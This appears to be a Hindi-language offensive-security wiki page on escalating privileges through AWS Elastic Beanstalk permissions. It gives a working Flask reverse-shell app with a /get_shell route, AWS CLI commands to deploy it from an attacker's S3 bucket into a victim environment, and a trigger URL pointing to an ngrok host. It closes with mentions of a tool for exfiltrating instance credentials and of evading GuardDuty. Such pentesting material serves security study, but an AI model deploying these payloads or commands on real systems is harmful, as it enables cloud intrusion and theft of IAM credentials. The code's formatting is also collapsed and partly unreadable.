Beanstalk में संवेदनशील क्रियाएँ करने के लिए आपको कई विभिन्न सेवाओं में कई संवेदनशील अनुमतियाँ होनी चाहिए। आप उदाहरण के लिए जांच सकते हैं कि arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk को कितनी अनुमतियाँ दी गई हैं।
elasticbeanstalk:RebuildEnvironment, S3 लेखन अनुमतियाँ और कई अन्य
S3 बकेट पर लेखन अनुमतियों के साथ और अनुमतियों के साथ एप्लिकेशन को पुनः निर्माण करने की अनुमति होने पर (इसके लिए elasticbeanstalk:RebuildEnvironment और S3, EC2 और Cloudformation के संबंधित कुछ अधिक अनुमतियों की आवश्यकता है), आप कोड में परिवर्तन कर सकते हैं, एप्लिकेशन को पुनः निर्माण कर सकते हैं और अगली बार जब आप ऐप्लिकेशन तक पहुंचेंगे तो वह आपके नए कोड को निष्पादित करेगा, जिससे हमलावार ऐप्लिकेशन और उसके IAM भूमिका क्रेडेंशियल को कंप्रमाइज करने की अनुमति होगी।
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, और अधिक...
उल्लिखित प्लस कई S3, EC2, cloudformation ,autoscaling और elasticloadbalancing अनुमतियाँ आवश्यक हैं एक रॉ एलास्टिक बीनस्टॉक स्थिति को शुरुआत से बनाने के लिए।
सबसे पहले आपको वास्तविक Beanstalk परिवेश बनाने की आवश्यकता है जिसमें कोड हो जिसे आप विक्टिम में चलाना चाहेंगे पिछले कदमों का पालन करते हुए। संभावना है एक सरल zip जिसमें ये 2 फ़ाइलें हो सकती हैं:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
जब आपके पास अपना Beanstalk env चल रहा हो और आपका rev shell हो, तो अब यह माइग्रेट करने का समय है विक्टिम env में। इसे करने के लिए आपको अपने beanstalk S3 बकेट की बकेट नीति को अपडेट करने की आवश्यकता है ताकि विक्टिम इसे एक्सेस कर सके (ध्यान दें कि यह सभी के लिए बकेट को खोल देगा):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.